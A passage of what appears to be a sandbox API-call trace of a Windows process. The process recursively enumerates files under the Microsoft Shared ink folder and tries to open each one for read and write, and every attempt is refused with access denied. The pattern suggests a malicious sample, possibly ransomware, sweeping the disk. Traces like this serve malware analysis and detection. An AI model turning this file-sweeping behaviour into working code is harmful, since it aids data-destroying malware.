| out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="symbols", cAlternateFileName="")) returned 1 [0163.616] GetProcessHeap () returned 0x990000 [0163.616] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0xa2) returned 0x9b2468 [0163.616] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\*.*", lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x9b6668 [0163.616] GetProcessHeap () returned 0x990000 [0163.616] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b2468 | out: hHeap=0x990000) returned 1 [0163.616] FindNextFileW (in: hFindFile=0x9b6668, lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0163.616] FindNextFileW (in: hFindFile=0x9b6668, lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dc0758, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1dc0758, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x900155a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="ea-sym.xml", cAlternateFileName="")) returned 1 [0163.616] GetProcessHeap () returned 0x990000 [0163.616] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x2a4) returned 0x9e3ce0 [0163.616] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0163.617] GetLastError () returned 0x5 [0163.617] FindNextFileW (in: hFindFile=0x9b6668, lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d9a5fb, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d9a5fb, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x900155a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp-sym.xml", cAlternateFileName="")) returned 1 [0163.617] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0163.620] GetLastError () returned 0x5 [0163.620] FindNextFileW (in: hFindFile=0x9b6668, lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9003b703, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x9003b703, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x90061861, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xacc, dwReserved0=0x0, dwReserved1=0x0, cFileName="symbase.xml", cAlternateFileName="")) returned 1 [0163.620] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\symbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0163.620] GetLastError () returned 0x5 [0163.620] FindNextFileW (in: hFindFile=0x9b6668, lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9003b703, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x9003b703, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x90061861, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xacc, dwReserved0=0x0, dwReserved1=0x0, cFileName="symbase.xml", cAlternateFileName="")) returned 0 [0163.620] FindClose (in: hFindFile=0x9b6668 | out: hFindFile=0x9b6668) returned 1 [0163.620] GetProcessHeap () returned 0x990000 [0163.620] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9e3ce0 | out: hHeap=0x990000) returned 1 [0163.620] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fe7269b, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fe7269b, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fe7269b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x24f, dwReserved0=0x0, dwReserved1=0x0, cFileName="symbols.xml", cAlternateFileName="")) returned 1 [0163.620] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0163.622] GetLastError () returned 0x5 [0163.622] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="web", cAlternateFileName="")) returned 1 [0163.622] GetProcessHeap () returned 0x990000 [0163.622] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x9a) returned 0x9b2468 [0163.622] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\*.*", lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x9b6668 [0163.625] GetProcessHeap () returned 0x990000 [0163.625] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b2468 | out: hHeap=0x990000) returned 1 [0163.625] FindNextFileW (in: hFindFile=0x9b6668, lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0163.625] FindNextFileW (in: hFindFile=0x9b6668, lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x900d3c7b, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x900d3c7b, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x900f9dd9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x48e, dwReserved0=0x0, dwReserved1=0x0, cFileName="webbase.xml", cAlternateFileName="")) returned 1 [0163.625] GetProcessHeap () returned 0x990000 [0163.625] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x29c) returned 0x9e3ce0 [0163.625] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web\\webbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0163.626] GetLastError () returned 0x5 [0163.626] FindNextFileW (in: hFindFile=0x9b6668, lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x900d3c7b, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x900d3c7b, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x900f9dd9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x48e, dwReserved0=0x0, dwReserved1=0x0, cFileName="webbase.xml", cAlternateFileName="")) returned 0 [0163.626] FindClose (in: hFindFile=0x9b6668 | out: hFindFile=0x9b6668) returned 1 [0163.626] GetProcessHeap () returned 0x990000 [0163.626] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9e3ce0 | out: hHeap=0x990000) returned 1 [0163.626] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90061861, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x90061861, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x90061861, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xcf, dwReserved0=0x0, dwReserved1=0x0, cFileName="web.xml", cAlternateFileName="")) returned 1 [0163.626] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0163.627] GetLastError () returned 0x5 [0163.627] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90061861, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x90061861, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x90061861, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xcf, dwReserved0=0x0, dwReserved1=0x0, cFileName="web.xml", cAlternateFileName="")) returned 0 [0163.627] FindClose (in: hFindFile=0x9b6628 | out: hFindFile=0x9b6628) returned 1 [0163.627] GetProcessHeap () returned 0x990000 [0163.627] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b7b40 | out: hHeap=0x990000) returned 1 [0163.627] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="he-IL", cAlternateFileName="")) returned 1 [0163.627] GetProcessHeap () returned 0x990000 [0163.627] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x82) returned 0x9b2468 [0163.627] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\*.*", lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x9b6628 [0163.627] GetProcessHeap () returned 0x990000 [0163.627] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b2468 | out: hHeap=0x990000) returned 1 [0163.627] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0163.628] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2bbf40b, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2dd4721, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2dd4721, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0163.628] GetProcessHeap () returned 0x990000 [0163.628] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x284) returned 0x9b7b40 [0163.628] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\he-il\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0163.628] GetLastError () returned 0x5 [0163.628] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2bbf40b, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2dd4721, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2dd4721, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0163.628] FindClose (in: hFindFile=0x9b6628 | out: hFindFile=0x9b6628) returned 1 [0163.628] GetProcessHeap () returned 0x990000 [0163.628] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b7b40 | out: hHeap=0x990000) returned 1 [0163.628] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hr-HR", cAlternateFileName="")) returned 1 [0163.628] GetProcessHeap () returned 0x990000 [0163.628] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x82) returned 0x9b2468 [0163.628] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\*.*", lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x9b6628 [0163.629] GetProcessHeap () returned 0x990000 [0163.629] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b2468 | out: hHeap=0x990000) returned 1 [0163.629] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0163.629] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe50f08dd, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe539e167, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe539e167, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0163.629] GetProcessHeap () returned 0x990000 [0163.629] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x284) returned 0x9b7b40 [0163.629] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hr-hr\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0163.629] GetLastError () returned 0x5 [0163.629] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe50f08dd, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe539e167, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe539e167, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0163.629] FindClose (in: hFindFile=0x9b6628 | out: hFindFile=0x9b6628) returned 1 [0163.629] GetProcessHeap () returned 0x990000 [0163.629] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b7b40 | out: hHeap=0x990000) returned 1 [0163.629] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0163.629] GetProcessHeap () returned 0x990000 [0163.629] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x82) returned 0x9b2468 [0163.629] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\*.*", lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x9b6628 [0163.630] GetProcessHeap () returned 0x990000 [0163.630] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b2468 | out: hHeap=0x990000) returned 1 [0163.630] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0163.630] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8e3ba89, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe9004ae5, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe9004ae5, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0163.630] GetProcessHeap () returned 0x990000 [0163.630] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x284) returned 0x9b7b40 [0163.630] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hu-hu\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0163.633] GetLastError () returned 0x5 [0163.633] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8e3ba89, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe9004ae5, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe9004ae5, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0163.633] FindClose (in: hFindFile=0x9b6628 | out: hFindFile=0x9b6628) returned 1 [0163.633] GetProcessHeap () returned 0x990000 [0163.633] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b7b40 | out: hHeap=0x990000) returned 1 [0163.633] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ece8572, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x2ece8572, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x2ea60e45, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0xb620, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hwrcommonlm.dat", cAlternateFileName="")) returned 1 [0163.633] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrcommonlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrcommonlm.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0163.633] GetLastError () returned 0x5 [0163.633] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e0df36a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabda5f8, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="HWRCustomization", cAlternateFileName="HWRCUS~1")) returned 1 [0163.633] GetProcessHeap () returned 0x990000 [0163.633] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x98) returned 0x9b2468 [0163.633] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HWRCustomization\\*.*", lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e0df36a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabda5f8, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, 